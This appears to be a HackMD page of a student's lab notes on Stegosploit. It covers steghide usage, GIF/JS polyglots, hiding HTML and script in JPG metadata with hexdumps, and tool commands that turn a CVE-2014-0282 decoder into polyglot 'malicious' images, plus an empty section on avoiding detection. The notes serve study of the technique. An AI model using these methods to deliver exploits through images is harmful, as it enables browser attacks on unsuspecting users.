Bob Wan
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Stegosploit [Article](https://stegosploit.info) [google slice](https://docs.google.com/presentation/d/1-S54CTZuZRBnoX8FdTBu8oyka0YkbjHEn7iIajiRdNs/edit?usp=sharing) [lab questions](https://docs.google.com/document/d/1YpkJ8T4pMyhY71aNHQycAXWsQ6f14KtRUF-T1xNIKJQ/edit) ## Tools ### steghide A simple tool to embed secret into a image file. sudo apt install steghide 1. To embed a secret into a jpg: ``` ┌──(bob㉿kali)-[~/Desktop/Stegosploit] └─$ steghide embed -ef secret.txt -cf dog_original.jpg -sf dog_new.jpg -Z -p password embedding "secret.txt" in "dog_original.jpg"... done writing stego file "dog_new.jpg"... done ``` 2. The md5 has changed: ``` ┌──(bob㉿kali)-[~/Desktop/Stegosploit] └─$ md5sum dog_original.jpg b6081e482657cfc03c4e4748b0de2b5f dog_original.jpg ┌──(bob㉿kali)-[~/Desktop/Stegosploit] └─$ md5sum dog_new.jpg b853222aa21cddd182b9223f4b8363fb dog_new.jpg ``` 3. To extract the secret: ```┌──(bob㉿kali)-[~/Desktop/Stegosploit] └─$ steghide extract -sf dog_new.jpg -p password -xf secret_extract.txt wrote extracted data to "secret_extract.txt". ``` ### Stegosploit Toolkit [PyStegosploit Source Code](https://github.com/Charmve/PyStegosploit.git) #### [Iterative encoding strategy](https://stegosploit.info/#23-iterative-encoding-for-jpg-images) PyStegosploit/project-stegosploit/encoding/iterative_encoding.html ### 4.1 IMAJS - Early Work This section is a early work that puts js code into GIF/BMP file and wrap the image in a script tag so that the js code would excute. Put js code like GIF89a/*...... (GIF image data) .....*/="pwned";alert(Date()); /* will be escaped by js so the GIF content has no effect, and the code behind would run. When rendering this as a GIF image, it will still display the content properly. Then wrap the image as <script src="gifjs.gif"></script> ### 4.2 Insert HTML to JPG files Put HTML code inside a JPG file, so that we don't need to wrap the file in a \<script> tag. | ![image](https://hackmd.io/_uploads/BJEAXMfYa.png) | |:--:| |*JPG metadata format*| | ![image](https://hackmd.io/_uploads/rkbHEzMKa.png) | |:--:| |*Hacked JPG metadata format*| Exploit code encoded image: ``` boyangwan@Boyangs-MacBook-Pro imajs % ./jpegdump kevin_encoded.JPG marker 0xffd8 SOI at offset 0 (start of image) marker 0xffe0 APP0 at offset 2 (application data section 0) marker 0xffdb DQT at offset 20 (define quantization tables) marker 0xffdb DQT at offset 89 (define quantization tables) marker 0xffc0 SOF0 at offset 158 (start of frame (baseline jpeg)) marker 0xffc4 DHT at offset 177 (define huffman tables) marker 0xffc4 DHT at offset 210 (define huffman tables) marker 0xffc4 DHT at offset 393 (define huffman tables) marker 0xffc4 DHT at offset 426 (define huffman tables) marker 0xffda SOS at offset 609 (start of scan) marker 0xffd9 EOC at offset 191264 (end of codestream) ``` After put the decode code in: ``` boyangwan@Boyangs-MacBook-Pro imajs % ./jpegdump kevin_polyglot.jpg marker 0xffd8 SOI at offset 0 (start of image) marker 0xffe0 APP0 at offset 2 (application data section 0) ## HTML is inserted here marker 0xffdb DQT at offset 12094 (define quantization tables) marker 0xffdb DQT at offset 12163 (define quantization tables) marker 0xffc0 SOF0 at offset 12232 (start of frame (baseline jpeg)) marker 0xffc4 DHT at offset 12251 (define huffman tables) marker 0xffc4 DHT at offset 12284 (define huffman tables) marker 0xffc4 DHT at offset 12467 (define huffman tables) marker 0xffc4 DHT at offset 12500 (define huffman tables) marker 0xffda SOS at offset 12683 (start of scan) marker 0xffd9 EOC at offset 203338 (end of codestream) ``` Inside the binary: ``` boyangwan@Boyangs-MacBook-Pro imajs % hexdump -Cv kevin_polygloted.jpg 00000000 ff d8 ff e0 2f 2a 4a 46 49 46 00 01 01 00 00 01 |..../*JFIF......| 00000010 00 01 00 00 3c 21 2d 2d 20 ec a8 6c f2 a5 1f b4 |....<!-- ..l....| Here using <!-- to comment jpg data between. 00000020 67 ad cc f2 85 98 17 3a c2 c4 c8 4e 21 36 11 0d |g......:...N!6..| 00000030 23 26 ca 80 4d 40 37 32 24 52 09 b7 d0 79 b0 f7 |#&..M@72$R...y..| . . . 000000d0 c7 03 57 67 e3 45 43 30 87 ec 9f 59 37 a9 77 1f |..Wg.EC0...Y7.w.| 000000e0 8b 30 c5 6e c4 28 75 d1 01 1f f0 b9 2c 8d 7e 20 |.0.n.(u.....,.~ | 000000f0 2d 2d 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c |--><html><head><| Here using --> to comment jpg data between. 00000100 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d |meta http-equiv=| 00000110 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 |"X-UA-Compatible| 00000120 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 |" content="IE=Ed| 00000130 67 65 22 3e 3c 73 63 72 69 70 74 3e 76 61 72 20 |ge"><script>var | 00000140 62 4c 3d 32 2c 65 43 3d 33 2c 67 72 3d 33 3b 66 |bL=2,eC=3,gr=3;f| 00000150 75 6e 63 74 69 6f 6e 20 69 30 28 29 7b 70 78 2e |unction i0(){px.| 00000160 6f 6e 63 6c 69 63 6b 3d 64 49 44 7d 66 75 6e 63 |onclick=dID}func| 00000170 74 69 6f 6e 20 64 49 44 28 29 7b 76 61 72 20 62 |tion dID(){var b| . . . 00000620 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 |</div></body></h| 00000630 74 6d 6c 3e 3c 21 2d 2d 97 20 ac ef df f0 51 e6 |tml><!--. ....Q.| Here using <!-- to comment jpg data after. 00000640 5a 78 ac e6 73 4a 17 17 a3 bf 43 43 40 53 4d cb |Zx..sJ....CC@SM.| ``` #### Usage ``` python3 scripts/polyglot_with_jpg.py exploits/decoder.html images/encoded/picture.JPG polyglots/malicious.html ``` python-stegosploit/imajs % ./html_in_jpg_ff.pl ../exploits/decoder_cve_2014_0282.html ./stego.JPG dog_polyglot.jpg ./html_in_jpg_ff.pl decoder.html ./encoded.jpg ho_polyglot.jpg ### 4.3 Put HTML in PNG, similar to JPG, I think we can skip this part. ## 5. How to avoid being detected when transferring on the internet

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully